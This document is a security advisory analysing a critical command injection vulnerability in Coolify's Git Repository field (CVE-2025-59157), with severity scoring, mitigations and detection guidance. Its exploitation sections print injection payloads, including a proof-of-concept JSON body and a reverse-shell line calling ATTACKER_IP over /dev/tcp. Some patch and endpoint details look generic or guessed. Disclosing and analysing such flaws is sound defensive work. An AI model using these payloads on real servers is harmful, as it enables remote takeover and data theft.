Description
Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Prior to version 4.0.0-beta.420.7, the Git Repository field during project creation is vulnerable to command injection. User input is not properly sanitized, allowing attackers to inject arbitrary shell commands that execute on the underlying server during the deployment workflow. A regular member user can exploit this vulnerability. Version 4.0.0-beta.420.7 contains a patch for the issue.
EPSS Score:
0%
Technical Analysis of EUVD-2025-206243 (CVE-2025-59157) – Coolify Command Injection Vulnerability
1. Vulnerability Assessment and Severity Evaluation
EUVD ID: EUVD-2025-206243
CVE ID: CVE-2025-59157
CVSS v3.1 Base Score: 10.0 (Critical)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Severity Breakdown
The vulnerability is classified as Critical due to the following factors:
- Attack Vector (AV:N): Exploitable remotely over a network without physical access.
- Attack Complexity (AC:L): Low complexity; no specialized conditions required.
- Privileges Required (PR:L): Low privileges (regular member user) are sufficient for exploitation.
- User Interaction (UI:N): No user interaction is required.
- Scope (S:C): Changes in scope; impact extends beyond the vulnerable component (e.g., underlying server compromise).
- Confidentiality (C:H), Integrity (I:H), Availability (A:H): Full compromise of all security objectives (CIA triad).
This vulnerability enables arbitrary command execution on the underlying server, making it one of the most severe types of flaws in self-hosted infrastructure management tools.
2. Potential Attack Vectors and Exploitation Methods
Vulnerability Root Cause
The flaw resides in the Git Repository field during project creation in Coolify. The application fails to properly sanitize user-supplied input before passing it to a shell command execution context. This allows attackers to inject arbitrary OS commands via:
- Metacharacters (
;,&&,|,||,`,$()) - Command substitution (e.g.,
$(malicious_command)) - Newline injection (
\n)
Exploitation Steps
- Authentication: An attacker must have a regular member account (low-privileged access) in Coolify.
- Triggering the Vulnerability:
- Navigate to Project Creation → Git Repository field.
- Inject a malicious payload, e.g.:
or a reverse shell:https://github.com/legit/repo.git; id > /tmp/pwnedhttps://github.com/legit/repo.git && bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
- Execution: When the deployment workflow is triggered, the injected command executes with the privileges of the Coolify service (typically root or a high-privileged user).
Post-Exploitation Impact
- Remote Code Execution (RCE): Full control over the underlying server.
- Lateral Movement: Compromise of other services running on the same host.
- Data Exfiltration: Theft of sensitive data (API keys, database credentials, application secrets).
- Persistence: Installation of backdoors, cryptominers, or ransomware.
- Supply Chain Attacks: If Coolify manages CI/CD pipelines, attackers could inject malicious code into deployed applications.
3. Affected Systems and Software Versions
Vulnerable Versions
- Coolify versions prior to
4.0.0-beta.420.7 - All deployment environments (self-hosted, cloud, on-premise) where Coolify is used.
Affected Components
- Project Creation Workflow (specifically the Git Repository input field).
- Deployment Automation (any process that interacts with the unsanitized input).
Unaffected Versions
- Coolify
4.0.0-beta.420.7and later (patched version).
4. Recommended Mitigation Strategies
Immediate Actions
-
Upgrade to the Latest Version:
- Apply Coolify
4.0.0-beta.420.7or later immediately. - Verify the patch by checking the GitHub Advisory (GHSA-5cg9-38qj-8mc3).
- Apply Coolify
-
Temporary Workarounds (if upgrade is not possible):
- Input Validation: Manually sanitize Git repository URLs before submission (e.g., allow only
https://orgit@URLs). - Least Privilege Principle: Run Coolify under a non-root user with minimal permissions.
- Network Segmentation: Isolate Coolify instances from critical infrastructure.
- WAF Rules: Deploy a Web Application Firewall (WAF) to block command injection patterns (e.g.,
;,&&,|).
- Input Validation: Manually sanitize Git repository URLs before submission (e.g., allow only
-
Incident Response (if compromised):
- Isolate the affected system to prevent lateral movement.
- Forensic Analysis: Check for unauthorized command execution (e.g.,
/tmp/,/var/log/). - Rotate Secrets: Reset all credentials, API keys, and certificates managed by Coolify.
- Reimage Compromised Systems: If RCE was achieved, assume full system compromise.
Long-Term Security Recommendations
- Automated Patch Management: Implement automated updates for Coolify and dependencies.
- Static & Dynamic Analysis: Integrate SAST/DAST tools (e.g., Semgrep, OWASP ZAP) into the CI/CD pipeline.
- Least Privilege for Deployments: Ensure deployment workflows run with minimal permissions.
- Audit Logging: Enable detailed logging for all Git repository inputs and deployment actions.
- Zero Trust Architecture: Enforce multi-factor authentication (MFA) and just-in-time (JIT) access for Coolify users.
5. Impact on the European Cybersecurity Landscape
Regulatory and Compliance Implications
- NIS2 Directive (EU 2022/2555): Organizations using Coolify in critical infrastructure (e.g., energy, healthcare, finance) must report incidents within 24 hours if exploited.
- GDPR (EU 2016/679): A successful attack could lead to data breaches, triggering mandatory reporting and potential fines (up to 4% of global revenue).
- DORA (Digital Operational Resilience Act): Financial entities must ensure third-party risk management, including vulnerabilities in self-hosted tools like Coolify.
Threat Landscape Considerations
- Increased Attack Surface: Coolify is widely used by European SMEs, startups, and DevOps teams for self-hosted infrastructure. A critical RCE vulnerability in such a tool amplifies risk across multiple sectors.
- Supply Chain Risks: If Coolify is used to manage CI/CD pipelines, attackers could inject malicious code into deployed applications, leading to widespread compromise.
- Ransomware & Cryptojacking: Given the low barrier to exploitation (PR:L), this vulnerability is an attractive target for financially motivated threat actors.
Geopolitical and Economic Impact
- Targeting of European Cloud Providers: If Coolify is used in European cloud environments, attackers could escalate privileges to compromise entire hosting platforms.
- Disruption of Digital Services: Exploitation could lead to downtime in critical services, affecting e-commerce, SaaS providers, and government applications.
- Reputation Damage: Organizations failing to patch may face loss of customer trust, particularly in regulated industries.
6. Technical Details for Security Professionals
Vulnerability Mechanics
- Input Sanitization Failure: The Git repository URL is passed directly to a shell command (e.g.,
git clone) without proper escaping. - Command Injection Vector:
The semicolon (git clone https://github.com/legit/repo.git; malicious_command;) terminates thegit clonecommand and executes the injected payload.
Exploitation Proof of Concept (PoC)
- Identify the Vulnerable Endpoint:
- Typically, the project creation API (
POST /api/projects).
- Typically, the project creation API (
- Craft a Malicious Payload:
{ "name": "malicious-project", "gitRepository": "https://github.com/legit/repo.git; id > /tmp/exploit_success" } - Verify Exploitation:
- Check
/tmp/exploit_successfor the output of theidcommand. - For a reverse shell:
gitRepository: "https://github.com/legit/repo.git && bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
- Check
Detection and Forensics
- Log Analysis:
- Check Coolify logs (
/var/log/coolify/) for unusual Git repository URLs containing metacharacters. - Look for unexpected processes (e.g.,
bash,nc,python) spawned by the Coolify service.
- Check Coolify logs (
- Network Monitoring:
- Detect outbound connections from the Coolify server to unexpected IPs (e.g., C2 servers).
- File Integrity Monitoring (FIM):
- Monitor
/tmp/,/var/tmp/, and other writable directories for unauthorized files.
- Monitor
Patch Analysis
- Fix in
4.0.0-beta.420.7:- Input Sanitization: The Git repository URL is now properly escaped before being passed to shell commands.
- Allowlist Validation: Only valid Git URLs (e.g.,
https://github.com/...,git@github.com:...) are accepted. - Parameterized Commands: Use of safe shell execution methods (e.g.,
subprocess.run()withshell=Falsein Python).
Defensive Coding Best Practices
- Never use
shell=Truein subprocess calls. - Use allowlists for user input (e.g., regex validation for Git URLs).
- Implement least privilege for deployment workflows.
- Log all sensitive operations (e.g., Git repository changes, command executions).
Conclusion
EUVD-2025-206243 (CVE-2025-59157) is a Critical command injection vulnerability in Coolify that allows low-privileged users to execute arbitrary commands on the underlying server. Given its CVSS 10.0 severity, ease of exploitation, and broad impact on European organizations, immediate patching is mandatory.
Security teams should:
- Upgrade Coolify to
4.0.0-beta.420.7or later. - Audit systems for signs of compromise.
- Implement long-term mitigations (input validation, least privilege, logging).
- Monitor for exploitation attempts in logs and network traffic.
Failure to address this vulnerability could result in full system compromise, data breaches, and regulatory penalties, particularly under NIS2 and GDPR. Organizations using Coolify should treat this as a high-priority security incident.